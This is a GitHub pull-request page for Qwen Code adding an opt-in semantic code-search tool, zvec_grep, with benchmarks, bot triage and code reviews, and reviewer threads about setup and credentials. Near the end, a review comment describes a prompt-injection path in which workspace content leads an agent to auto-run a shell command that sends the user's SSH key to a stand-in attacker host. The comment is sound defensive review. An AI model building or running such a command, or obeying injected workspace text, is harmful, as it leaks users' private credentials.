Skip to content

feat(tool): add opt-in zvec-grep search tool - #6096

Open
zhourrr wants to merge 8 commits into
QwenLM:mainfrom
zhourrr:feat/zvec-grep-skill
Open

feat(tool): add opt-in zvec-grep search tool#6096
zhourrr wants to merge 8 commits into
QwenLM:mainfrom
zhourrr:feat/zvec-grep-skill

Conversation

@zhourrr

@zhourrr zhourrr commented Jul 1, 2026

Copy link
Copy Markdown

What this PR does

This PR integrates zvec_grep as a first-class workspace search tool for Qwen Code. The tool provides two search modes: semantic search for concept-level code discovery, and rg-style exact/regex search for known symbols, paths, literals, and config keys. It supports scoped searches with path, paths, glob, and exclude, records returned file paths for follow-up read tracking, asks for confirmation when searching outside the workspace, and can start background indexing when semantic search is requested before an index is ready.

The built-in Explore agent can also use zvec_grep, so delegated codebase exploration can benefit from the same workspace search path instead of falling back to baseline grep-only behavior.

Why it's needed

Codebase search is a major part of Qwen Code’s everyday workflow. Exact grep is useful when the model already knows the right names, but many code-understanding tasks start with vague concepts, architecture questions, behavior descriptions, or cross-file relationships. zvec_grep gives the model a semantic discovery path for those cases while still preserving an exact-search mode for known text patterns.

The intended result is better first-pass file discovery, fewer broad repeated searches, and a more consistent search interface for both the main agent and Explore.

Reviewer Test Plan

How to verify

Reviewers should verify that zvec_grep is available as a workspace search tool, supports both semantic and rg-style operations, respects workspace scoping and external path confirmation, records result file paths for follow-up reads, and is available to the Explore agent.

Suggested checks:

  • Ask a conceptual codebase question where exact keywords are not obvious and confirm the model can use zvec_grep semantic search to find relevant files.
  • Ask a known-symbol or known-literal question and confirm the model can use zvec_grep rg search.
  • Ask Explore to investigate a codebase area and confirm it can call zvec_grep.
  • Try scoped searches with path, paths, glob, and exclude.
  • Try an external path search and confirm permission confirmation is required.

Evidence (Before & After)

Benchmark evidence was collected locally with a 200-session matrix across two representative codebases: this CLI/code-agent repository and a separate vector-search/database repository. The benchmark used 10 code-understanding questions, 5 search modes, and 4 repeated runs per question/mode.

Benchmark summary:

  • Completed sessions: 200 / 200.
  • The most stable setup was zvec enabled with a warm index and no subagent delegation.
  • On the CLI/code-agent repository, average total tokens dropped from 689,891 with baseline search to 497,905 with warm-index zvec and no subagent delegation.
  • On the vector-search/database repository, average total tokens dropped from 391,615 with baseline search to 277,438 with warm-index zvec and no subagent delegation.
  • Actual zvec usage was measured separately because enabling zvec does not always mean the model calls it.
  • In the CLI/code-agent repository, zvec was actually called in 60/60 zvec-enabled runs, averaging 685,019 total / 242,236 uncached tokens.
  • In the vector-search/database repository, zvec was actually called in 53/60 zvec-enabled runs, averaging 374,147 total / 177,876 uncached tokens.
  • Semantic zvec usage was cheaper than regex-only zvec usage: 553,556 vs 929,164 average total tokens on the CLI/code-agent repository, and 312,829 vs 719,059 on the vector-search/database repository.
  • Answer quality was checked with a lightweight heuristic based on non-empty final answers, concept coverage, key file references, structure, and conciseness. Actual-zvec runs averaged about 4.8 / 5 in both repositories.
  • Tool-following checks were good overall: no-agent modes had 0 agent calls, and zvec-only modes had 0 successful baseline grep_search calls.

@wenshao

wenshao commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

Re-running triage on this PR — the implementation has matured significantly since the initial skill-based design was abandoned in favor of a built-in tool.

Template: partially complete ✓ — the core sections (What this PR does, Why it's needed, Reviewer Test Plan with How to verify and Evidence) are present and substantive. Missing: Tested on table, Risk & Scope, Linked Issues, and 中文说明. These should be completed before merge but don't block the technical review.

Problem: real and evidenced. The 200-session benchmark shows measurable token reduction (689K → 497K on this repo, 391K → 277K on the vector-search repo) with warm-index semantic search. Exact grep requires knowing the right keywords upfront — semantic search fills a genuine gap for conceptual codebase discovery.

Direction: aligned. Better codebase search is core to a coding agent's mission. The tool is opt-in (tools.zvecGrep.enabled: true), disabled by default, and forced off in bare/safe mode — zero impact on users who don't opt in. The Explore agent integration is a natural extension.

Size: this is a large PR touching core infrastructure. Breakdown:

  • Production logic: ~1,828 lines (zvec-grep.ts at 1,642 + 186 lines across config, permissions, scheduler, subagents, i18n, web-shell)
  • Tests: ~1,869 lines (zvec-grep.test.ts at 1,725 + 144 lines of integration tests)
  • Schema: 11 lines (settings.schema.json)

⚠️ Maintainer awareness required: 1,828 production lines in core paths exceeds the 500-line escalation threshold. The 1,000+ large-PR advisory also applies. The feat type means this is not hard-blocked, but a maintainer should explicitly sign off on the scope.

Approach: the scope feels appropriate for a new first-class tool. The implementation is well-isolated — a single config flag gates registration, the tool is lazy-loaded, and all integration points (permissions, scheduler, Explore) are minimal additions. The AskUserQuestionDialog change to support allowCustomInput: false is a small, focused enhancement used only by this tool's consent dialog. One question: the @zvec/zvec-grep package was published the day before this PR opened, is compiled dist/-only with a 404 source repo, and pins to a pre-1.0 CLI surface that's already churned between 0.1.4 and 0.1.5 — the supply-chain implications of this dependency deserve explicit maintainer acknowledgment (see wenshao's research comment for the full analysis).

Escalating to the maintainer for awareness given the size and supply-chain profile. Moving on to code review. 🔍

中文说明

重新对本 PR 进行 triage——实现已从最初的 skill 方案演进为内置工具。

模板:部分完整 ✓ —— 核心章节(What this PR doesWhy it's neededReviewer Test PlanHow to verifyEvidence)已存在且内容充实。缺少:Tested on 表、Risk & ScopeLinked Issues中文说明。合入前应补齐,但不阻塞技术审查。

问题:真实存在且有证据支持。200 次会话基准测试显示 warm-index 语义搜索可显著降低 token 用量(本仓库 689K → 497K,向量搜索仓库 391K → 277K)。精确 grep 需要预先知道正确的关键词——语义搜索填补了概念性代码发现的真实空白。

方向:对齐。更好的代码库搜索是编程 agent 的核心能力。工具为 opt-in(tools.zvecGrep.enabled: true),默认关闭,在 bare/safe 模式下强制关闭——未开启的用户零影响。Explore agent 集成是自然的延伸。

规模:这是一个触及核心基础设施的大型 PR。分解:

  • 生产逻辑:约 1,828 行(zvec-grep.ts 1,642 行 + config/permissions/scheduler/subagents/i18n/web-shell 共 186 行)
  • 测试:约 1,869 行(zvec-grep.test.ts 1,725 行 + 集成测试 144 行)
  • Schema:11 行(settings.schema.json)

⚠️ 需维护者关注:核心路径 1,828 行生产代码超过 500 行升级阈值。同时适用 1,000+ 大 PR 建议。feat 类型意味着不会被硬性拦截,但需维护者显式确认范围可接受。

方案:对于一个新的 first-class 工具而言,范围适当。实现隔离良好——单一配置项控制注册,工具惰性加载,所有集成点(权限、调度器、Explore)均为最小增量。AskUserQuestionDialog 支持 allowCustomInput: false 的改动小而聚焦,仅由本工具的确认对话框使用。一个问题:@zvec/zvec-grep 包在本 PR 开启前一天发布,仅含编译后的 dist/,声明的源码仓库 404,且所固定的 pre-1.0 CLI surface 已在 0.1.4 到 0.1.5 之间发生破坏性变化——该依赖的供应链影响值得维护者显式确认(详见 wenshao 的调研评论)。

因规模和供应链特征,升级给维护者关注。进入代码审查 🔍

Qwen Code · qwen3.7-max

Reviewed at 1bf3df1115ee1b493cf3d5e2cef598a70145b436 · re-run with @qwen-code /triage

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

Code review

Independent proposal: for a new opt-in semantic search tool, I'd expect a clean tool class with schema validation, lazy registration gated on a config flag, permission inheritance from the Read meta-category, external-path confirmation, child process lifecycle management with timeouts and signal handling, graceful fallback when the external binary isn't available, and integration with both the main agent and Explore. The implementation matches this and exceeds it in several areas.

Security model — solid. The -- end-of-options separator is correctly placed in both buildSearchArgs (after scope args, before query) and buildGrepArgs (after all flags, before search paths), preventing argument injection. The escapeRgRegex function is applied in every semantic-to-rg fallback path, including the zero-token edge case. The install step uses a strict environment allowlist (PATH, HOME, proxy, npm config, CA certs only) while the search child gets the full env (needed for DASHSCOPE_API_KEY). Child processes get SIGTERM → SIGKILL escalation via createChildTerminator with a 5-second grace period. Output is capped at 20MB for search and 200KB for install.

Consent flow — well-designed. The setup confirmation discloses exactly what will be installed (npm install -g @zvec/zvec-grep@0.1.5), names the remote embedding service and its data flow, and offers a workspace-level permanent disable. getDefaultPermission() returns 'ask' for both external-path searches and setup-required states. Non-interactive sessions skip the prompt entirely and fall back to native grep.

Integration wiring — clean. Single-point opt-in via Config.isZvecGrepEnabled(). The tool is lazy-loaded via registerLazy in the tool registry. FS_PATH_TOOL_NAMES correctly includes zvec_grep with proper path extraction (path, paths[], path+glob composition via joinSearchRootAndGlob, correctly excluding exclude). Explore's tool list includes ZVEC_GREP unconditionally, and the subagent-manager silently drops unregistered tool names — no leakage when disabled.

Reuse check — good. The tool reuses runRipgrep for native grep fallback, recordGrepResultFileReads for read tracking, resolvePath/isSubpath from the shared utils, createDebugLogger for debug output, and picomatch (already a dependency) for glob intersection in intersectScopeAndGlob. No parallel utilities or duplicated logic.

Non-blocking observations:

  • No zg --version check when a pre-existing global install is present. If an older version (0.1.4, flat-flag surface) is on PATH, the tool silently uses it with degraded behavior. A lightweight version guard would be the highest-value hardening item.
  • The detached background indexer has no max-runtime guard — a hung zg index process persists indefinitely. Low risk (the process writes to a log and cleans up on exit), but worth a timeout in a follow-up.
  • getWorkspaceJobKey uses sha1(cwd) only — if the same directory hosts different workspaces over time, the index identity is stale. Narrow edge case, reasonable as-is.
  • The @zvec/zvec-grep npm package is compiled dist/-only with no publicly accessible source repository. Supply-chain trust relies on the Alibaba vendor chain. Acceptable given the opt-in gating and consent disclosure, but worth tracking.
Files changed (26 files)
File What changed
packages/core/src/tools/zvec-grep.ts New 1642-line tool implementation with dual search modes, consent flow, process lifecycle
packages/core/src/tools/zvec-grep.test.ts 1725-line test suite covering args, escaping, status parsing, permissions, fallback
packages/core/src/config/config.ts Config parameter, lazy registration, workspace opt-out callback
packages/core/src/config/config.test.ts Tests for registration gating
packages/core/src/permissions/rule-parser.ts zvec_grep added to Read meta-category, aliases, display mapping
packages/core/src/permissions/permission-manager.test.ts Read-deny applies to zvec_grep, external-path confirmation
packages/core/src/core/coreToolScheduler.ts FS_PATH_TOOL_NAMES entry, extractToolFilePaths case
packages/core/src/core/coreToolScheduler.test.ts Path extraction test
packages/core/src/subagents/builtin-agents.ts Explore tool list includes ZVEC_GREP
packages/core/src/subagents/subagent-manager.ts Silently drops unregistered optional tools
packages/core/src/subagents/builtin-agents.test.ts Explore includes zvec_grep test
packages/core/src/subagents/subagent-manager.test.ts Unregistered tool omission test
packages/core/src/tools/tool-names.ts ZVEC_GREP constant
packages/core/src/tools/tools.ts Display name mapping
packages/cli/src/config/config.ts Settings mapping, bare/safe mode force-off, workspace opt-out
packages/cli/src/config/config.test.ts CLI config integration tests
packages/cli/src/config/settingsSchema.ts tools.zvecGrep.enabled schema entry
packages/cli/src/ui/components/messages/AskUserQuestionDialog.tsx allowCustomInput:false support for consent dialogs
packages/cli/src/ui/components/messages/AskUserQuestionDialog.test.tsx Custom input hidden test
packages/cli/src/i18n/locales/en.js ZvecGrep display name key
packages/cli/src/i18n/locales/zh.js Chinese display name
packages/cli/src/i18n/locales/zh-TW.js Traditional Chinese display name
packages/vscode-ide-companion/schemas/settings.schema.json VS Code settings schema sync
packages/web-shell/client/components/messages/toolFormatting.ts Web shell display name
packages/web-shell/client/i18n.tsx Web shell i18n
.gitignore .zvec-grep/ directory ignored

Real-scenario testing

Not performed in this triage run. The tool requires npm install -g @zvec/zvec-grep@0.1.5 (~172MB, needs network), API keys for semantic mode (DASHSCOPE_API_KEY), and an interactive session for the consent flow — conditions that aren't available in the CI triage environment.

The maintainer (@wenshao) performed extensive local validation against the same head commit (1bf3df111): 1440 tests passing, 10/10 live E2E tests against the real zg binary (including opt-in gating, external-path consent, Explore integration, and rg fallback), clean tsc --noEmit and eslint across all 13 changed core+cli files, and settings-schema CI gate in sync. That validation covers the real-scenario testing gap.

中文说明

代码审查

独立方案:对于一个 opt-in 语义搜索工具,我期望看到干净的 tool 类、schema 验证、配置项门控的惰性注册、Read 元类别权限继承、工作区外路径确认、带超时和信号处理的子进程生命周期管理、外部二进制不可用时的优雅降级,以及与主 agent 和 Explore 的集成。实现符合预期并在多个方面超出。

安全模型——扎实。 -- 选项结束分隔符在 buildSearchArgs(scope 参数之后、query 之前)和 buildGrepArgs(所有 flag 之后、搜索路径之前)中均正确放置,防止了参数注入。escapeRgRegex 在所有语义→rg 降级路径中均被应用,包括零 token 边缘情况。安装步骤使用严格的环境白名单(仅 PATH/HOME/代理/npm 配置/CA 证书),而搜索子进程获得完整环境(embedding 需要 DASHSCOPE_API_KEY)。子进程通过 createChildTerminator 获得 SIGTERM → SIGKILL 升级(5 秒宽限期)。搜索输出上限 20MB,安装输出上限 200KB。

确认流程——设计良好。 设置确认明确披露将安装的内容(npm install -g @zvec/zvec-grep@0.1.5),指出远程 embedding 服务及其数据流向,并提供 workspace 级永久禁用选项。getDefaultPermission() 对工作区外搜索和需要设置的状态均返回 'ask'。非交互式会话完全跳过提示并回退到原生 grep。

集成接线——干净。 通过 Config.isZvecGrepEnabled() 单点 opt-in。工具通过 registerLazy 惰性加载。FS_PATH_TOOL_NAMES 正确包含 zvec_grep,路径提取完整(path、paths[]、path+glob 通过 joinSearchRootAndGlob 组合,正确排除 exclude)。Explore 工具列表无条件包含 ZVEC_GREPsubagent-manager 静默丢弃未注册的工具名——禁用时无泄漏。

复用检查——良好。 工具复用了 runRipgrep(原生 grep 回退)、recordGrepResultFileReads(读取追踪)、resolvePath/isSubpath(共享工具)、createDebugLogger(调试输出)和 picomatch(已有依赖,用于 intersectScopeAndGlob 的 glob 交集计算)。无平行工具或重复逻辑。

非阻塞观察:

  • 未对预装的全局 zg 做版本检查。如果 PATH 上存在旧版本(0.1.4,扁平 flag),工具会静默使用并降级行为。轻量级版本校验是收益最高的加固项。
  • 分离的后台索引进程无最长运行时间限制——挂起的 zg index 进程会无限期存在。风险低(进程写日志并在退出时清理),但适合后续加超时。
  • getWorkspaceJobKey 仅用 sha1(cwd) —— 如果同一目录先后承载不同工作区,索引身份会过时。窄边缘情况,可接受。
  • @zvec/zvec-grep npm 包仅含编译后 dist/,无可公开访问的源码仓库。供应链信任依赖阿里厂商链。鉴于 opt-in 门控和确认披露可接受,但值得跟踪。

真实场景测试

本次 triage 未执行。工具需要 npm install -g @zvec/zvec-grep@0.1.5(约 172MB,需要网络)、语义模式的 API 密钥(DASHSCOPE_API_KEY)、以及交互式会话来触发确认流程——这些条件在 CI triage 环境中不可用。

维护者(@wenshao)已对同一 head commit(1bf3df111)进行了充分的本地验证:1440 个测试通过、针对真实 zg 二进制的 10/10 端到端测试(包括 opt-in 门控、工作区外确认、Explore 集成和 rg 回退)、所有 13 个改动的 core+cli 文件 tsc --noEmit 和 eslint 干净、settings-schema CI 门禁同步。该验证覆盖了真实场景测试的空白。

Qwen Code · qwen3.7-max

Reviewed at 1bf3df1115ee1b493cf3d5e2cef598a70145b436 · re-run with @qwen-code /triage

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

Confidence: 3/5 — clean review across all stages, but the Stage 0 core-module size escalation (1,828 production lines) and the supply-chain profile of @zvec/zvec-grep need a maintainer's explicit sign-off before merge.

Stepping back: this is a well-executed feature PR. The implementation is genuinely solid — the security model (argument injection prevention via --, regex escaping in every fallback path, SIGTERM→SIGKILL escalation, output caps, strict install env allowlist) is better than most tool integrations I've reviewed. The consent flow is honest about what gets installed and where data flows. The integration wiring is minimal and correctly isolated — a single config flag gates everything, lazy registration keeps startup clean, and the Explore integration doesn't leak when disabled.

My independent proposal for this feature would have been materially simpler — I'd have started with a thinner wrapper that delegates to zg without the semantic/rg split, let users opt into semantic mode explicitly. The PR's dual-mode design is more ambitious and the benchmark justifies it (semantic mode is the token-saving win; rg-only zvec usage is actually more expensive than baseline grep). The ambition earned its complexity.

What gives me pause is not the code — it's the dependency. @zvec/zvec-grep was published the day before this PR, ships compiled-only with no public source repo, pins to 0.1.5 on a pre-1.0 CLI surface that already broke between 0.1.4 and 0.1.5, and weighs 172MB. The vendor trust chain (Alibaba → DashScope) makes this acceptable, but it's a trade-off the maintainer should accept explicitly, not one that slips in through a clean code review.

@wenshao's local validation (1,440 tests, 10/10 live E2E against the real zg binary, clean build/lint) is thorough and covers the real-scenario testing gap I couldn't reproduce in CI triage. The standing CHANGES_REQUESTED from @LaZzyMan's original 7-point review appears fully addressed on the current head — all 7 findings are fixed in substance.

What remains before merge (non-blocking for this triage, but should land):

  1. Author should complete the PR template (Tested on, Risk & Scope, Linked Issues, 中文说明) — these are documentation, not code.
  2. Author should resolve the 20 stale SKILL.md review threads (file was deleted; all outdated).
  3. A zg --version compatibility check would be the single highest-value hardening item — pre-existing global 0.1.4 silently degrades.
  4. The detached background indexer needs a max-runtime guard in a follow-up.

Deferring to the maintainer for the final call on size and supply-chain acceptance.

中文说明

信心度:3/5 —— 各阶段审查均干净,但 Stage 0 核心模块规模升级(1,828 行生产代码)以及 @zvec/zvec-grep 的供应链特征需要维护者显式确认后方可合入。

退一步看:这是一个执行良好的功能 PR。实现确实扎实——安全模型(通过 -- 防止参数注入、所有降级路径的正则转义、SIGTERM→SIGKILL 升级、输出上限、严格的安装环境白名单)优于我审查过的大多数工具集成。确认流程诚实地披露了安装内容和数据流向。集成接线最小化且正确隔离——单一配置项控制一切,惰性注册保持启动干净,Explore 集成在禁用时不会泄漏。

我对这个功能的独立方案会更简单——我可能会从一个更薄的包装器开始,直接委托给 zg,不做语义/rg 的拆分,让用户显式选择语义模式。PR 的双模式设计更有野心,且基准测试证明了这一点(语义模式是节省 token 的关键;仅用 rg 的 zvec 使用实际上比基线 grep 更贵)。这种雄心对得起其复杂度。

让我犹豫的不是代码——而是依赖。@zvec/zvec-grep 在本 PR 开启前一天发布,仅含编译产物且无公开源码仓库,固定了 pre-1.0 CLI surface 的 0.1.5 版本(该 surface 已在 0.1.4 和 0.1.5 之间发生破坏性变化),且体积 172MB。厂商信任链(阿里巴巴 → DashScope)使之可接受,但这是维护者应显式确认的权衡,不应在干净的代码审查中悄然通过。

@wenshao 的本地验证(1,440 个测试、针对真实 zg 二进制的 10/10 端到端测试、干净的构建/lint)充分覆盖了我在 CI triage 中无法复现的真实场景测试空白。@LaZzyMan 原始 7 点评审所遗留的 CHANGES_REQUESTED 状态在当前 head 上已实质性全部回应——7 条发现均已修复。

合入前仍需处理的事项(不阻塞本次 triage,但应落地):

  1. 作者应补全 PR 模板(Tested onRisk & ScopeLinked Issues中文说明)——这些是文档,不是代码。
  2. 作者应 resolve 20 条过时的 SKILL.md 评审线程(文件已删除;全部过时)。
  3. zg --version 兼容性检查是收益最高的加固项——预装的全局 0.1.4 会静默降级。
  4. 分离的后台索引进程需在后续版本中增加最长运行时间限制。

转交维护者做关于规模和供应链接受度的最终决定。

Qwen Code · qwen3.7-max

Reviewed at 1bf3df1115ee1b493cf3d5e2cef598a70145b436 · re-run with @qwen-code /triage

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship. ✅

name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.
when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
allowedTools:

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Missing argument-hint field. 6 of 8 other bundled skills include one (e.g., '<question>', '<operation> <file-pattern>'). Without it, users invoking /zvec-grep get no prompt hint for what to type.

Suggested change
allowedTools:
when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
argument-hint: '<query>'

— qwen3.7-max via Qwen Code /review

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the tip. I've refactored this into an integrated tool instead of a bundled skill. The tool description and argument description should give enough hint to the agent now.

allowedTools:
- Bash(zg *)
---

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] allowedTools omits follow-up tools that the skill body explicitly prescribes. Line 36 instructs the agent to "Open the candidates that look relevant, then continue with file reads, exact search for narrow confirmation." But only Bash(zg *) is auto-approved — every subsequent read_file or grep_search call triggers a permission prompt.

Every other bundled skill that uses allowedTools lists its full expected workflow chain (e.g., review lists 7 tools, simplify lists 7, stuck lists 2). Adding the follow-up tools would make the typical zg → read → grep flow seamless.

Suggested change
allowedTools:
- Bash(zg *)
- read_file
- grep_search

— qwen3.7-max via Qwen Code /review

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This has been refactored into an integrated tool, which calls zg cli internally.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested the new zvec-grep skill locally through Qwen Code, using the PR's SKILL.md as a project skill in a temporary workspace.

Results:

  • Qwen Code loaded the /zvec-grep skill and ran the documented setup command exactly, without adding --api-key:
    zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"
  • The Qwen Code chat log showed Exit Code: 0, Error: (none), and the index was initialized successfully.
  • I then invoked /zvec-grep again and had Qwen Code run a semantic search. zg returned the expected file hit with Exit Code: 0.

So I withdraw my earlier concern that the setup example must include --api-key. In this Qwen Code skill invocation path, the documented setup command worked as-is.

My remaining review conclusion: no blocking issue from my side. The argument-hint: '<query>' suggestion is still reasonable UI polish for slash-command invocation, but I do not think expanding allowedTools to include read_file / grep_search is necessary here because allowedTools grants session permissions; it is not just a declaration of the expected workflow.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested the new zvec-grep skill locally through Qwen Code, using the PR's SKILL.md as a project skill in a temporary workspace.

Results:

  • Qwen Code loaded the /zvec-grep skill and ran the documented setup command exactly, without adding --api-key:
    zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"
  • The Qwen Code chat log showed Exit Code: 0, Error: (none), and the index was initialized successfully.
  • I then invoked /zvec-grep again and had Qwen Code run a semantic search. zg returned the expected file hit with Exit Code: 0.

So I withdraw my earlier concern that the setup example must include --api-key. In this Qwen Code skill invocation path, the documented setup command worked as-is.

Approved from my side. The argument-hint: '<query>' suggestion is still reasonable optional UI polish for slash-command invocation, but I do not consider it blocking. I also do not think expanding allowedTools to include read_file / grep_search is necessary here because allowedTools grants session permissions; it is not just a declaration of the expected workflow.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I need to correct my previous approval.

The setup command as documented uses the remote Qwen embedding model:

zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

That path requires credentials in a clean environment. My local Qwen Code run succeeded because the environment was not a true no-credential setup; it had local credential/config state available to zg, so that was not valid evidence that a new user can copy-paste the command without configuring a key.

Please update the setup guidance to make the credential requirement explicit, for example by adding --api-key "$DASHSCOPE_API_KEY" to the Qwen remote-embedding example, or by switching the default copy-paste example to a local embedding model and documenting the remote Qwen variant separately.

Requesting changes for the setup documentation issue. The argument-hint: '<query>' item remains optional UI polish, and I still do not consider broadening allowedTools to read_file / grep_search necessary.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I re-tested this in a cleaner setup and this is a required documentation fix.

Test method:

  • Created a temporary workspace with this PR's zvec-grep skill installed as a project skill.
  • Invoked the skill through Qwen Code, not by manually running zg outside the agent path.
  • Forced the zg subprocess into a no-credential environment by clearing the relevant key environment variables and setting HOME to an empty temporary directory.

Qwen Code's tool call was:

env -u DASHSCOPE_API_KEY -u ZVEC_GREP_API_KEY -u ALIYUN_ACCESS_KEY_ID -u ALIYUN_ACCESS_KEY_SECRET -u ALIBABA_CLOUD_ACCESS_KEY_ID -u ALIBABA_CLOUD_ACCESS_KEY_SECRET HOME=/tmp/zg-no-cred-home.78PmUD zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

The Qwen Code chat log tool result was:

Output: Error: Qwen text-embedding-v4 model requires an API key
Code: ZVEC_GREP.ENGINE.MODELS.QWEN_TEXT_EMBEDDING_V4_MISSING_API_KEY
Details:
  model: text-embedding-v4
Exit Code: 1

So the current setup snippet is not copy-pasteable for a clean user environment. Please update the skill setup guidance to make the credential requirement explicit, for example by adding --api-key "$DASHSCOPE_API_KEY" to the Qwen remote embedding example, or by making the default setup example use a local embedding model and documenting the Qwen remote model as a credentialed variant.

The argument-hint: '<query>' suggestion is still optional polish. I do not consider expanding allowedTools to include read_file / grep_search necessary, because allowedTools grants session permissions rather than describing the workflow.

Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild
when the user explicitly asks.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Two CLI syntax errors in the setup command:

  1. --include requires one glob per flag. The zg CLI does not accept comma-separated globs for --include (unlike --exclude which does). Every --include in this file uses the wrong syntax. The correct form is:
--include "src/**" --include "packages/**" --include "docs/**" --include "*.md"

This affects the init command here plus all search examples on lines 27, 39-42, 53-54, and 60-62.

  1. Missing --api-key for remote embedding model. qwen/text-embedding-v4 is a remote DashScope model that requires authentication. The command will fail without --api-key "$DASHSCOPE_API_KEY". Alternatively, switch to a local model like local/qwen3-embedding-0.6b to avoid requiring external credentials.

Combined fix:

Suggested change
when the user explicitly asks.
zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**" --include "packages/**" --include "docs/**" --include "*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

— qwen3.7-max via Qwen Code /review

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the review.

For the --include syntax, this has been relaxed in the latest version of zg cli, and the installation of the tool pins the version of zg to avoid using old one.

For the --api-key issue, qwencode exports dashscope api key as an env variable in its controlled environment where our tool runs, so zg should be able to get access to it. If users don't have dashscope api key, zg will silently fallback to grep

@wenshao

wenshao commented Jul 2, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /review

when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
allowedTools:
- Bash(zg *)
---

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Bash(zg *) in allowedTools creates a command injection vector. The SKILL.md examples consistently use double-quoted query strings (e.g., zg "login request authentication middleware"), which in bash allow $() command substitution. The permission system's matchesCommandPattern("zg *", ...) regex matches first, setting baseDecision = 'allow', which short-circuits past the containsCommandSubstitutionAST check. A prompt injection via malicious workspace content could cause the agent to construct zg "$(curl attacker.com/exfil -d @~/.ssh/id_rsa)" — auto-approved without user confirmation.

Suggested mitigations:

  • Use single quotes in all SKILL.md examples (single quotes prevent $() expansion in bash)
  • Add explicit guidance to escape $, backticks, and \ in query strings
  • Consider using run_shell_command in allowedTools and constraining usage to zg via the skill body instead of the overly broad Bash(zg *) prefix match

— qwen3.7-max via Qwen Code /review

## Setup

Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] No error handling for zg runtime failures. The Setup section covers only the "not installed / no index" case, but there are no instructions for runtime failures: embedding API errors (expired key, rate limit, quota), corrupt/stale index, OOM, or timeout. The agent has no decision tree for whether to retry, fall back to grep_search, or report the error. Other skills that shell out (e.g., batch, loop) include explicit error-handling sections.

Consider adding an "Error Handling" section covering: (1) non-zero exit → treat as missing setup, fall back; (2) API/auth errors → tell user, fall back; (3) one retry is fine, then fall back; (4) never silently swallow errors.

— qwen3.7-max via Qwen Code /review

when they are not part of the question.

For code searches, `--symbol-type` can narrow results to indexed symbols such
as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] --prefer-symbol is mentioned in prose but no example demonstrates its syntax. The agent cannot determine whether it takes a value (--prefer-symbol AuthService), is a boolean flag, or pairs with --symbol-type.

Suggested change
as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it
Add `--prefer-symbol` when a symbol-like anchor should rank ahead of surrounding text. For example:
